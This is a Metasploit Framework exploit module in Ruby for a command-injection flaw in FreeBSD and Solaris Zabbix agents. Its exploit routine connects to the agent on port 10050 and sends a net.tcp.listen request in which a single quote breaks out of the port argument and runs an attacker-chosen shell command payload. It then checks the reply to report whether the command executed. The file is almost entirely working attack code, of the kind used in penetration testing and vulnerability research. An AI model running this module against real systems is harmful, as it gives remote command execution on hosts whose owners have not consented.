##
# $Id: zabbix_agent_exec.rb 7854 2009-12-14 20:09:46Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Zabbix Agent net.tcp.listen Command Injection',
			'Description'    => %q{
				This module exploits a metacharacter injection vulnerability
			in the FreeBSD and Solaris versions of the Zabbix agent. This flaw
			can only be exploited if the attacker can hijack the IP address
			of an authorized server (as defined in the configuration file).
					
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 7854 $',
			'References'     =>
				[
					[ 'OSVDB', '60956' ],
					[ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,				
			'Privileged'     => false,
			'Payload'        =>
				{
					'BadChars'    => "'",
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        => 
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(10050)
				], self.class)			
	end

	def exploit
		connect

		rnd_port = rand(1024) + 1
		buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"
		
		print_status("Sending net.tcp.listen() request to the zabbix agent...")
		sock.put(buf)

		res = nil
		begin
			res = sock.get_once(-1, 5)
		rescue ::EOFError
		end
		
		if ! res
			print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")
			disconnect
			return
		end

		if (res =~ /ZBX_NOTSUPPORTED/)
			print_status("The zabbix agent is not running a vulnerable version or operating system.")
			disconnect
			return
		end

		if(res !~ /ZBXD/)
			print_status("The zabbix agent returned an unknown response.")
			disconnect
			return
		end

		print_status("The zabbix agent should have executed our command.")
		disconnect
	end

end